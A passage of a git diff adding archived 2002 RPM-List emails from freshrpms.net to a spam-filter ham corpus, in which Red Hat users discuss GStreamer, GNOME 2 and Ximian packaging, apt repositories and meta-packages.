think that's simply because Sylpheed isn't a GNOME application, but a +> "simple" gtk+ one. It needs no GNOME libs at all, so upgrading to GNOME 2 +> but keeping gtk+ 1.2 will let you keep Sylpheed with no problem. + + Yeah, mine works here; I did about the same thing. + + Hey: "Universe" I saw this keyword on the gstreamer website. They said something like "If you're feeling froggy and want to jump into it, use apt-get gstreamer-universe" but I've not gotten the syntax of it right, to get "all" of a project yet. Has anyone used this yet? + +------------------------------------------------------------------------ +Brian Fahrländer Linux Zealot, Conservative, and Technomad +Evansville, IN My Voyage: http://www.CounterMoon.com +ICQ 5119262 +------------------------------------------------------------------------ +I don't want to hear news from Isreal until the news contains the words +"Bullet", "Brain", and "Arafat". + +_______________________________________________ +RPM-List mailing list +http://lists.freshrpms.net/mailman/listinfo/rpm-list + + diff --git a/bayes/spamham/easy_ham_2/01163.ce66ad7634e93c6c76e449b74f5139c4 b/bayes/spamham/easy_ham_2/01163.ce66ad7634e93c6c76e449b74f5139c4 new file mode 100644 index 0000000..d6f002c --- /dev/null +++ b/bayes/spamham/easy_ham_2/01163.ce66ad7634e93c6c76e449b74f5139c4 @@ -0,0 +1,90 @@ +From rpm-list-admin@freshrpms.net Thu Jul 25 14:37:11 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 0FEF7440D0 + for ; Thu, 25 Jul 2002 09:37:11 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Thu, 25 Jul 2002 14:37:11 +0100 (IST) +Received: from egwn.net (ns2.egwn.net [193.172.5.4]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6PDdA404314 for + ; Thu, 25 Jul 2002 14:39:11 +0100 +Received: from auth02.nl.egwn.net (localhost [127.0.0.1]) by egwn.net + (8.11.6/8.11.6/EGWN) with ESMTP id g6PDX2j31415; Thu, 25 Jul 2002 15:33:06 + +0200 +Received: from python (gw01.es3.egwn.net [212.9.66.13]) (authenticated) by + egwn.net (8.11.6/8.11.6/EGWN) with ESMTP id g6PDWDj31314 for + ; Thu, 25 Jul 2002 15:32:13 +0200 +From: Matthias Saou +To: rpm-zzzlist@freshrpms.net +Subject: Re: Gstreamer update +Message-Id: <20020725152505.75bc249e.matthias@egwn.net> +In-Reply-To: <20020725065233.6ec791a8.kilroy@kamakiriad.com> +References: <20020725065233.6ec791a8.kilroy@kamakiriad.com> +Organization: Electronic Group Interactive +X-Mailer: Sylpheed version 0.8.0claws (GTK+ 1.2.10; i386-redhat-linux) +Reply-BY: Tue, 24 Jul 2000 19:02:00 +1000 +X-Operating-System: GNU/Linux power! +X-Message-Flag: Try using a real operating system : GNU/Linux power! +MIME-Version: 1.0 +Content-Type: text/plain; charset=US-ASCII +Content-Transfer-Encoding: 7bit +X-Mailscanner: Found to be clean, Found to be clean +Sender: rpm-zzzlist-admin@freshrpms.net +Errors-To: rpm-zzzlist-admin@freshrpms.net +X-Beenthere: rpm-zzzlist@freshrpms.net +X-Mailman-Version: 2.0.11 +Precedence: bulk +Reply-To: rpm-zzzlist@freshrpms.net +List-Help: +List-Post: +List-Subscribe: , + +List-Id: Freshrpms RPM discussion list +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Thu, 25 Jul 2002 15:25:05 +0200 +Date: Thu, 25 Jul 2002 15:25:05 +0200 + +Once upon a time, Brian wrote : + +> +> More information on that slick "gstreamer-universe" thing. +> +> Go to this page: http://gstreamer.net/releases/redhat +> +> They seem to have declared a a package called "gstreamer-universe" as +> a collection of files. This is brilliant; what we need to do is get +> someone with a Gnome2-universe and we'll be set, aye? :) +> +> Isn't that a cool idea? + +This is called "pseudo-packages" or "meta-packages" and Debian has been +using them for ages. I think Mandrake also makes these kind of empty +packages. + +Anyway, their use has been discussed here a while back, and personally +although I do agree that they can be useful at times, I don't really like +them. For me it's more of an ugly "hack" than anything else, and I'd +approve completely a system that would enable to install/remove entire +categories of software... but not if achieved by building empty packages. + +Also, you can trivially do "apt-get install ", but removing +all that it installed is a bit less trivial, and could be implemented in a +trivial and clean fashion if using some functionality meant to do this. + +Matthias + +-- +Matthias Saou World Trade Center +------------- Edificio Norte 4 Planta +System and Network Engineer 08039 Barcelona, Spain +Electronic Group Interactive Phone : +34 936 00 23 23 + +_______________________________________________ +RPM-List mailing list +http://lists.freshrpms.net/mailman/listinfo/rpm-list + + diff --git a/bayes/spamham/easy_ham_2/01164.9d5c3fde5125b73106dee03f253fa36c b/bayes/spamham/easy_ham_2/01164.9d5c3fde5125b73106dee03f253fa36c new file mode 100644 index 0000000..abc7024 --- /dev/null +++ b/bayes/spamham/easy_ham_2/01164.9d5c3fde5125b73106dee03f253fa36c @@ -0,0 +1,84 @@ +From rpm-list-admin@freshrpms.net Thu Jul 25 14:48:13 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 2CDB8440D0 + for ; Thu, 25 Jul 2002 09:48:13 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Thu, 25 Jul 2002 14:48:13 +0100 (IST) +Received: from egwn.net (ns2.egwn.net [193.172.5.4]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6PDkH404833 for + ; Thu, 25 Jul 2002 14:46:18 +0100 +Received: from auth02.nl.egwn.net (localhost [127.0.0.1]) by egwn.net + (8.11.6/8.11.6/EGWN) with ESMTP id g6PDZ2j02607; Thu, 25 Jul 2002 15:35:02 + +0200 +Received: from fep06-app.kolumbus.fi (fep06-0.kolumbus.fi [193.229.0.57]) + by egwn.net (8.11.6/8.11.6/EGWN) with ESMTP id g6OBcPC32252 for + ; Wed, 24 Jul 2002 13:38:26 +0200 +Received: from azrael.blades.cxm ([62.248.237.162]) by + fep06-app.kolumbus.fi with ESMTP id + <20020724113817.PWQ20539.fep06-app.kolumbus.fi@azrael.blades.cxm> for + ; Wed, 24 Jul 2002 14:38:17 +0300 +Received: (from blades@localhost) by azrael.blades.cxm (SGI-8.9.3/8.9.3) + id OAA06014 for rpm-list@freshrpms.net; Wed, 24 Jul 2002 14:38:14 +0300 + (EEST) +X-Authentication-Warning: azrael.blades.cxm: blades set sender to + harri.haataja@smilehouse.com using -f +From: Harri Haataja +To: rpm-zzzlist@freshrpms.net +Subject: Re: apt repository for irssi +Message-Id: <20020724143811.I1346@azrael.smilehouse.com> +References: <3D3DD633.7010003@sunnmore.net> +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Content-Disposition: inline +User-Agent: Mutt/1.2.5.1i +In-Reply-To: <3D3DD633.7010003@sunnmore.net>; from rmo@sunnmore.net on Wed, + Jul 24, 2002 at 12:18:27AM +0200 +X-Mailscanner: Found to be clean, Found to be clean +Sender: rpm-zzzlist-admin@freshrpms.net +Errors-To: rpm-zzzlist-admin@freshrpms.net +X-Beenthere: rpm-zzzlist@freshrpms.net +X-Mailman-Version: 2.0.11 +Precedence: bulk +Reply-To: rpm-zzzlist@freshrpms.net +List-Help: +List-Post: +List-Subscribe: , + +List-Id: Freshrpms RPM discussion list +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Wed, 24 Jul 2002 14:38:14 +0300 +Date: Wed, 24 Jul 2002 14:38:14 +0300 + +On Wed, Jul 24, 2002 at 12:18:27AM +0200, Roy-Magne Mo wrote: +> Seems like irssi.org also has an apt-rpm repository for snapshots of +> irssi: +> +> rpm http://ninja.no/apt 7.3/i386 irssi +> rpm-src http://ninja.no/apt 7.3/i386 irssi + +Maybe sf.net should provide automated (how much more automated can it +get? Well, maybe automatic one-click setup and instructions for those +who can't read manuals and a place in which to drop gpg keys) apt-rpm +(and maybe apt-deb though debian seems to package most stuff anyway) +repositories. If it was one big repository for "stable" releases and +each could have their own for "development" or "testing" releases. You +handled your own repo and they did a nightly stable update for example. +Also it should check that no-one can manage to put in a package with the +same name as another one or otherwise sabotage the thing. + +(hmm, and I suppose the good sigmonster may deserve a cookie, too..) + +-- +Last time I was stoned, I tried to eat an airport. + + +_______________________________________________ +RPM-List mailing list +http://lists.freshrpms.net/mailman/listinfo/rpm-list + + diff --git a/bayes/spamham/easy_ham_2/01165.6ac614b3ccada8b003ad8586c8b88e4e b/bayes/spamham/easy_ham_2/01165.6ac614b3ccada8b003ad8586c8b88e4e new file mode 100644 index 0000000..dba2b0b --- /dev/null +++ b/bayes/spamham/easy_ham_2/01165.6ac614b3ccada8b003ad8586c8b88e4e @@ -0,0 +1,83 @@ +From rpm-list-admin@freshrpms.net Thu Jul 25 18:41:14 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 5D752440E7 + for ; Thu, 25 Jul 2002 13:41:04 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Thu, 25 Jul 2002 18:41:04 +0100 (IST) +Received: from egwn.net (ns2.egwn.net [193.172.5.4]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6PHg6420170 for + ; Thu, 25 Jul 2002 18:42:07 +0100 +Received: from auth02.nl.egwn.net (localhost [127.0.0.1]) by egwn.net + (8.11.6/8.11.6/EGWN) with ESMTP id g6PHO2j06023; Thu, 25 Jul 2002 19:24:02 + +0200 +Received: from kamakiriad.com (cable-b-36.sigecom.net [63.69.210.36]) by + egwn.net (8.11.6/8.11.6/EGWN) with ESMTP id g6PHMij02276; Thu, + 25 Jul 2002 19:22:44 +0200 +Received: from aquila.kamakiriad.local (aquila.kamakiriad.local + [192.168.1.3]) by kamakiriad.com (8.11.6/8.11.0) with SMTP id g6PHMTo24830; + Thu, 25 Jul 2002 12:22:29 -0500 +From: Brian Fahrlander +To: rpm-zzzlist@freshrpms.net +Cc: matthias@egwn.net +Subject: Re: Gstreamer update +Message-Id: <20020725122228.2c5019ad.kilroy@kamakiriad.com> +In-Reply-To: <20020725152505.75bc249e.matthias@egwn.net> +References: <20020725065233.6ec791a8.kilroy@kamakiriad.com> + <20020725152505.75bc249e.matthias@egwn.net> +X-Mailer: Sylpheed version 0.8.1 (GTK+ 1.2.10; i386-redhat-linux) +X-Message-Flag: : Shame on you! You know Outlook is how viruses are spread! +MIME-Version: 1.0 +Content-Type: text/plain; charset=ISO-8859-1 +Content-Transfer-Encoding: 8bit +X-Mailscanner: Found to be clean, Found to be clean +Sender: rpm-zzzlist-admin@freshrpms.net +Errors-To: rpm-zzzlist-admin@freshrpms.net +X-Beenthere: rpm-zzzlist@freshrpms.net +X-Mailman-Version: 2.0.11 +Precedence: bulk +Reply-To: rpm-zzzlist@freshrpms.net +List-Help: +List-Post: +List-Subscribe: , + +List-Id: Freshrpms RPM discussion list +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Thu, 25 Jul 2002 12:22:28 -0500 +Date: Thu, 25 Jul 2002 12:22:28 -0500 + +On Thu, 25 Jul 2002 15:25:05 +0200, Matthias Saou wrote: + +> This is called "pseudo-packages" or "meta-packages" and Debian has been +> using them for ages. I think Mandrake also makes these kind of empty +> packages. +> +> Anyway, their use has been discussed here a while back, and personally +> although I do agree that they can be useful at times, I don't really like +> them. For me it's more of an ugly "hack" than anything else, and I'd +> approve completely a system that would enable to install/remove entire +> categories of software... but not if achieved by building empty packages. +> +> Also, you can trivially do "apt-get install ", but removing +> all that it installed is a bit less trivial, and could be implemented in a +> trivial and clean fashion if using some functionality meant to do this. + + Yeah, well, I'm about to chuck the whole darned thing right now: the first upgrade to Gnome2 wiped out the possibility of changing preferences...exactly what got me outta Ximian before. I understand Gnomehide has the same files, right? I'm thinking about excorsizing the durned Ximian again... + +------------------------------------------------------------------------ +Brian Fahrländer Linux Zealot, Conservative, and Technomad +Evansville, IN My Voyage: http://www.CounterMoon.com +ICQ 5119262 +------------------------------------------------------------------------ +I don't want to hear news from Isreal until the news contains the words +"Bullet", "Brain", and "Arafat". + +_______________________________________________ +RPM-List mailing list +http://lists.freshrpms.net/mailman/listinfo/rpm-list + + diff --git a/bayes/spamham/easy_ham_2/01166.04090ab40cda3e4e022e2295c8144374 b/bayes/spamham/easy_ham_2/01166.04090ab40cda3e4e022e2295c8144374 new file mode 100644 index 0000000..51ba9e1 --- /dev/null +++ b/bayes/spamham/easy_ham_2/01166.04090ab40cda3e4e022e2295c8144374 @@ -0,0 +1,69 @@ +From rpm-list-admin@freshrpms.net Fri Jul 26 10:59:43 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id ED420440E7 + for ; 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Fri, 26 Jul 2002 12:52:55 +0300 + (EEST) +X-Authentication-Warning: azrael.blades.cxm: blades set sender to + harri.haataja@cs.helsinki.fi using -f +From: Harri Haataja +To: Freshrpms list +Subject: req: Falcon's eye +Message-Id: <20020726125254.B11334@azrael.smilehouse.com> +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Content-Disposition: inline +User-Agent: Mutt/1.2.5.1i +X-Mailscanner: Found to be clean, Found to be clean +Sender: rpm-zzzlist-admin@freshrpms.net +Errors-To: rpm-zzzlist-admin@freshrpms.net +X-Beenthere: rpm-zzzlist@freshrpms.net +X-Mailman-Version: 2.0.11 +Precedence: bulk +Reply-To: rpm-zzzlist@freshrpms.net +List-Help: +List-Post: +List-Subscribe: , + +List-Id: Freshrpms RPM discussion list +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Fri, 26 Jul 2002 12:52:55 +0300 +Date: Fri, 26 Jul 2002 12:52:55 +0300 + +Another thing I see in debian but not in my RH boxen. + +http://falconseye.sourceforge.net/ + +It's a GL(?) interface to nethack :) + +-- +"And don't even think of quoting me out of context ;)" + -- Michael Hinz in the Monastery + + +_______________________________________________ +RPM-List mailing list +http://lists.freshrpms.net/mailman/listinfo/rpm-list + + diff --git a/bayes/spamham/easy_ham_2/01167.49531a4802446e1da60be6dbcb0a854c b/bayes/spamham/easy_ham_2/01167.49531a4802446e1da60be6dbcb0a854c new file mode 100644 index 0000000..9fc7151 --- /dev/null +++ b/bayes/spamham/easy_ham_2/01167.49531a4802446e1da60be6dbcb0a854c @@ -0,0 +1,92 @@ +From rpm-list-admin@freshrpms.net Fri Jul 26 11:15:10 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 5962F440E9 + for ; Fri, 26 Jul 2002 06:15:07 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Fri, 26 Jul 2002 11:15:07 +0100 (IST) +Received: from egwn.net (ns2.egwn.net [193.172.5.4]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6QAEX408036 for + ; Fri, 26 Jul 2002 11:14:33 +0100 +Received: from auth02.nl.egwn.net (localhost [127.0.0.1]) by egwn.net + (8.11.6/8.11.6/EGWN) with ESMTP id g6QA81j13709; Fri, 26 Jul 2002 12:08:01 + +0200 +Received: from web21404.mail.yahoo.com (web21404.mail.yahoo.com + [216.136.232.74]) by egwn.net (8.11.6/8.11.6/EGWN) with SMTP id + g6QA6rj02283 for ; Fri, 26 Jul 2002 12:06:53 +0200 +Message-Id: <20020726100652.61150.qmail@web21404.mail.yahoo.com> +Received: from [141.228.156.225] by web21404.mail.yahoo.com via HTTP; + Fri, 26 Jul 2002 11:06:52 BST +From: =?iso-8859-1?q?Mich=E8l=20Alexandre=20Salim?= +Subject: Re: req: Falcon's eye +To: Freshrpms list +In-Reply-To: <20020726125254.B11334@azrael.smilehouse.com> +MIME-Version: 1.0 +Content-Type: text/plain; charset=iso-8859-1 +Content-Transfer-Encoding: 8bit +X-Mailscanner: Found to be clean, Found to be clean +Sender: rpm-zzzlist-admin@freshrpms.net +Errors-To: rpm-zzzlist-admin@freshrpms.net +X-Beenthere: rpm-zzzlist@freshrpms.net +X-Mailman-Version: 2.0.11 +Precedence: bulk +Reply-To: rpm-zzzlist@freshrpms.net +List-Help: +List-Post: +List-Subscribe: , + +List-Id: Freshrpms RPM discussion list +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Fri, 26 Jul 2002 11:06:52 +0100 (BST) +Date: Fri, 26 Jul 2002 11:06:52 +0100 (BST) + +FYI, + +I modified the Mandrake package a few months ago - +rather a nightmare to package, I must say. Some +stability issues but that might be my flaky ATI +drivers. + +My Linux box is sitting in storage this summer though, +so I don't have the .spec with me. + +Anyone else tried running Falcon's Eye on Red Hat? + +Regards, + +Michel + + --- Harri Haataja +wrote: > Another thing I see in debian but not in my +RH +> boxen. +> +> http://falconseye.sourceforge.net/ +> +> It's a GL(?) interface to nethack :) +> +> -- +> "And don't even think of quoting me out of context +> ;)" +> -- Michael Hinz in the Monastery +> +> +> _______________________________________________ +> RPM-List mailing list +> http://lists.freshrpms.net/mailman/listinfo/rpm-list + +__________________________________________________ +Do You Yahoo!? +Everything you'll ever need on one web page +from News and Sport to Email and Music Charts +http://uk.my.yahoo.com + +_______________________________________________ +RPM-List mailing list +http://lists.freshrpms.net/mailman/listinfo/rpm-list + + diff --git a/bayes/spamham/easy_ham_2/01168.387e59c34fb395201b4002238b8009fd b/bayes/spamham/easy_ham_2/01168.387e59c34fb395201b4002238b8009fd new file mode 100644 index 0000000..c49911a --- /dev/null +++ b/bayes/spamham/easy_ham_2/01168.387e59c34fb395201b4002238b8009fd @@ -0,0 +1,83 @@ +From rpm-list-admin@freshrpms.net Fri Jul 26 14:22:25 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id DA7EA440E7 + for ; Fri, 26 Jul 2002 09:22:23 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Fri, 26 Jul 2002 14:22:23 +0100 (IST) +Received: from egwn.net (ns2.egwn.net [193.172.5.4]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6QDNs419646 for + ; Fri, 26 Jul 2002 14:23:55 +0100 +Received: from auth02.nl.egwn.net (localhost [127.0.0.1]) by egwn.net + (8.11.6/8.11.6/EGWN) with ESMTP id g6QDJ2j25092; Fri, 26 Jul 2002 15:19:02 + +0200 +Received: from kamakiriad.com (cable-b-36.sigecom.net [63.69.210.36]) by + egwn.net (8.11.6/8.11.6/EGWN) with ESMTP id g6QDI7j15265 for + ; Fri, 26 Jul 2002 15:18:07 +0200 +Received: from aquila.kamakiriad.local (aquila.kamakiriad.local + [192.168.1.3]) by kamakiriad.com (8.11.6/8.11.0) with SMTP id g6QDHqo27147; + Fri, 26 Jul 2002 08:17:52 -0500 +From: Brian Fahrlander +To: rpm-zzzlist@freshrpms.net +Cc: salimma1@yahoo.co.uk +Subject: Re: Gstreamer update +Message-Id: <20020726081751.6e784454.kilroy@kamakiriad.com> +In-Reply-To: <20020726124057.75407.qmail@web21404.mail.yahoo.com> +References: <20020726.Cro.90237400@www.dudex.net> + <20020726124057.75407.qmail@web21404.mail.yahoo.com> +X-Mailer: Sylpheed version 0.8.1 (GTK+ 1.2.10; i386-redhat-linux) +X-Message-Flag: : Shame on you! You know Outlook is how viruses are spread! +MIME-Version: 1.0 +Content-Type: text/plain; charset=ISO-8859-1 +Content-Transfer-Encoding: 8bit +X-Mailscanner: Found to be clean, Found to be clean +Sender: rpm-zzzlist-admin@freshrpms.net +Errors-To: rpm-zzzlist-admin@freshrpms.net +X-Beenthere: rpm-zzzlist@freshrpms.net +X-Mailman-Version: 2.0.11 +Precedence: bulk +Reply-To: rpm-zzzlist@freshrpms.net +List-Help: +List-Post: +List-Subscribe: , + +List-Id: Freshrpms RPM discussion list +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Fri, 26 Jul 2002 08:17:51 -0500 +Date: Fri, 26 Jul 2002 08:17:51 -0500 + +On Fri, 26 Jul 2002 13:40:57 +0100 (BST), Michèl Alexandre Salim wrote: + +> --- Angles Puglisi wrote: +> > +> > I still think there's got to be a way to get the +> > packages that make gnomehide +> > from the Limbo CDs, they would be newer. +> > +> Surely you just need to recompile and install them in +> order? + + Nope- this one's all about gnome-vfs2 and the developers understand each other's parts- it's a programming issues. Some versions work together, some don't. Just like rep-gtk and audiofile was for sawfish, in the previous version of Ximian-gnome. :( +. +> Ximian packages are awful - I had recurring problems +> with their packaged libxslt a few months back. + + Yeah...That's why I was hoping someone else had a 'more gospel' set of files. Oh, well. I've found a URL on my system I can get to'em with Nautilus. + +------------------------------------------------------------------------ +Brian Fahrländer Linux Zealot, Conservative, and Technomad +Evansville, IN My Voyage: http://www.CounterMoon.com +ICQ 5119262 +------------------------------------------------------------------------ +I don't want to hear news from Isreal until the news contains the words +"Bullet", "Brain", and "Arafat". + +_______________________________________________ +RPM-List mailing list +http://lists.freshrpms.net/mailman/listinfo/rpm-list + + diff --git a/bayes/spamham/easy_ham_2/01169.5adc737d52bc101c6fd07732eeb5ed39 b/bayes/spamham/easy_ham_2/01169.5adc737d52bc101c6fd07732eeb5ed39 new file mode 100644 index 0000000..1dcd860 --- /dev/null +++ b/bayes/spamham/easy_ham_2/01169.5adc737d52bc101c6fd07732eeb5ed39 @@ -0,0 +1,116 @@ +From rpm-list-admin@freshrpms.net Mon Jul 29 11:24:09 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 0CEF744116 + for ; Mon, 29 Jul 2002 06:22:25 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 29 Jul 2002 11:22:25 +0100 (IST) +Received: from webnote.net (mail.webnote.net [193.120.211.219]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6RAEUi18950 for + ; Sat, 27 Jul 2002 11:14:30 +0100 +Received: from egwn.net (ns2.egwn.net [193.172.5.4]) by webnote.net + (8.9.3/8.9.3) with ESMTP id CAA14954 for ; + Sat, 27 Jul 2002 02:23:11 +0100 +Received: from auth02.nl.egwn.net (localhost [127.0.0.1]) by egwn.net + (8.11.6/8.11.6/EGWN) with ESMTP id g6R1J1j26746; Sat, 27 Jul 2002 03:19:02 + +0200 +Received: from imf01bis.bellsouth.net (mail301.mail.bellsouth.net + [205.152.58.161]) by egwn.net (8.11.6/8.11.6/EGWN) with ESMTP id + g6R1IVj26694 for ; Sat, 27 Jul 2002 03:18:31 +0200 +Received: from adsl-157-21-227.msy.bellsouth.net ([66.157.21.227]) by + imf01bis.bellsouth.net (InterMail vM.5.01.04.19 + 201-253-122-122-119-20020516) with ESMTP id + <20020727011958.NJEB19924.imf01bis.bellsouth.net@adsl-157-21-227.msy.bellsouth.net> + for ; Fri, 26 Jul 2002 21:19:58 -0400 +Subject: Re: Gstreamer update +From: Lance +To: rpm-zzzlist@freshrpms.net +In-Reply-To: <20020726124057.75407.qmail@web21404.mail.yahoo.com> +References: <20020726124057.75407.qmail@web21404.mail.yahoo.com> +Content-Type: text/plain; charset=ISO-8859-15 +X-Mailer: Ximian Evolution 1.0.8 +Message-Id: <1027732948.6596.14.camel@localhost.localdomain> +MIME-Version: 1.0 +X-Mailscanner: Found to be clean, Found to be clean +Content-Transfer-Encoding: 8bit +X-MIME-Autoconverted: from quoted-printable to 8bit by egwn.net id + g6R1IVj26694 +Sender: rpm-zzzlist-admin@freshrpms.net +Errors-To: rpm-zzzlist-admin@freshrpms.net +X-Beenthere: rpm-zzzlist@freshrpms.net +X-Mailman-Version: 2.0.11 +Precedence: bulk +Reply-To: rpm-zzzlist@freshrpms.net +List-Help: +List-Post: +List-Subscribe: , + +List-Id: Freshrpms RPM discussion list +List-Unsubscribe: , + +List-Archive: +X-Original-Date: 26 Jul 2002 20:22:27 -0500 +Date: 26 Jul 2002 20:22:27 -0500 + +Well, I tried the Ximian GNOME 2.0 packages from +http://apt.sunnmore.net, and have to say, it was a let-down. Ran +'apt-get update' , 'apt-get install gnome-session' then 'apt-get +upgrade' and Nautilus failed to execute, couldn't get any help docs to +come up, along with more problems. So, with the luck of 'rpm -qa|grep +ximian' then removing by hand all ximian packages with 'rpm -e --nodeps' +and reinstalling everything GNOME and GNOME-related with apt, I got +trusty old Red Hat 7.3 GNOME back on the desktop, and the only trace of +Ximian is Evolution, again, thanks to apt from this site. + +I really liked Ximian (back then, Helix ?) at first but, to me, Red +Hat's GNOME, released with 7.3 seems much more pretty and up-to-date. +Could this be because of inclusion of gtk2 in RH 7.3? + +Lance + +On Fri, 2002-07-26 at 07:40, Michèl Alexandre Salim wrote: +> --- Angles Puglisi wrote: +> > +> > I still think there's got to be a way to get the +> > packages that make gnomehide +> > from the Limbo CDs, they would be newer. +> > +> Surely you just need to recompile and install them in +> order? +> +> Ximian packages are awful - I had recurring problems +> with their packaged libxslt a few months back. +> +> Regards, +> +> Michel +> +> __________________________________________________ +> Do You Yahoo!? +> Everything you'll ever need on one web page +> from News and Sport to Email and Music Charts +> http://uk.my.yahoo.com +> +> _______________________________________________ +> RPM-List mailing list +> http://lists.freshrpms.net/mailman/listinfo/rpm-list +-- +: _ /~\'_ + (o o) +=====oooO==U==Oooo================[Joe Ramaswamy]========== + +THE LEWINSKY virus.. +(Sucks all the memory out of your computer, +then Emails everyone about what it did) + +============================[URL:http://devil.net/joe_r/]== +: + + +_______________________________________________ +RPM-List mailing list +http://lists.freshrpms.net/mailman/listinfo/rpm-list + + diff --git a/bayes/spamham/easy_ham_2/01170.fb25e6eca43ff17e87fa2ff0b39575ca b/bayes/spamham/easy_ham_2/01170.fb25e6eca43ff17e87fa2ff0b39575ca new file mode 100644 index 0000000..82088ef --- /dev/null +++ b/bayes/spamham/easy_ham_2/01170.fb25e6eca43ff17e87fa2ff0b39575ca @@ -0,0 +1,78 @@ +From rpm-list-admin@freshrpms.net Mon Jul 29 11:24:20 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id B0F1D4411C + for ; Mon, 29 Jul 2002 06:22:36 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 29 Jul 2002 11:22:36 +0100 (IST) +Received: from webnote.net (mail.webnote.net [193.120.211.219]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6RAEQi18903 for + ; Sat, 27 Jul 2002 11:14:26 +0100 +Received: from egwn.net (ns2.egwn.net [193.172.5.4]) by webnote.net + (8.9.3/8.9.3) with ESMTP id DAA15108 for ; + Sat, 27 Jul 2002 03:32:03 +0100 +Received: from auth02.nl.egwn.net (localhost [127.0.0.1]) by egwn.net + (8.11.6/8.11.6/EGWN) with ESMTP id g6R2U2j12771; Sat, 27 Jul 2002 04:30:03 + +0200 +Received: from bob.dudex.net (dsl092-157-004.wdc1.dsl.speakeasy.net + [66.92.157.4]) by egwn.net (8.11.6/8.11.6/EGWN) with ESMTP id g6R2Sjj09313 + for ; Sat, 27 Jul 2002 04:28:46 +0200 +Received: from [66.92.157.3] (helo=www.dudex.net) by bob.dudex.net with + esmtp (Exim 3.35 #1) id 17YHLZ-0003f6-00 for rpm-list@freshrpms.net; + Fri, 26 Jul 2002 22:30:21 -0400 +X-Originating-Ip: [4.64.220.2] +From: "" Angles " Puglisi" +To: rpm-zzzlist@freshrpms.net +Subject: Re: Gstreamer update +Message-Id: <20020726.tRx.98989200@www.dudex.net> +MIME-Version: 1.0 +Content-Type: text/plain; charset="iso-8859-1" +Content-Transfer-Encoding: 8bit +Content-Disposition: inline +X-Mailer: AngleMail for phpGroupWare (http://www.phpgroupware.org) v + 0.9.14.000 +X-Mailscanner: Found to be clean, Found to be clean +Sender: rpm-zzzlist-admin@freshrpms.net +Errors-To: rpm-zzzlist-admin@freshrpms.net +X-Beenthere: rpm-zzzlist@freshrpms.net +X-Mailman-Version: 2.0.11 +Precedence: bulk +Reply-To: rpm-zzzlist@freshrpms.net +List-Help: +List-Post: +List-Subscribe: , + +List-Id: Freshrpms RPM discussion list +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Sat, 27 Jul 2002 02:32:27 +0000 +Date: Sat, 27 Jul 2002 02:32:27 +0000 + +Lance (lance_tt@bellsouth.net) wrote*: +> +>I really liked Ximian (back then, Helix ?) at first but, to me, Red +>Hat's GNOME, released with 7.3 seems much more pretty and up-to-date. +>Could this be because of inclusion of gtk2 in RH 7.3? + +Not many apps actually use gtk2 yet. If they do, it's obvious because it is a +different tool kit. With gnomehide, I ported a lot of gtk1.2 themes to gtk2, +because they are rarely compatible. Those themes are on dudex.net/rpms/ but it +does not matter unless you have gnome2. + +In gnomehide, the apps that actually use gtk2 are Nautilus, gedit, some of the +"utility" apps, like dictionary, calcultor, the settings applets, and of +course the gnome panels and menus. + +-- +That's "angle" as in geometry. + + + +_______________________________________________ +RPM-List mailing list +http://lists.freshrpms.net/mailman/listinfo/rpm-list + + diff --git a/bayes/spamham/easy_ham_2/01171.e260c9a68b80500ebfae926e5430657b b/bayes/spamham/easy_ham_2/01171.e260c9a68b80500ebfae926e5430657b new file mode 100644 index 0000000..806aa7e --- /dev/null +++ b/bayes/spamham/easy_ham_2/01171.e260c9a68b80500ebfae926e5430657b @@ -0,0 +1,73 @@ 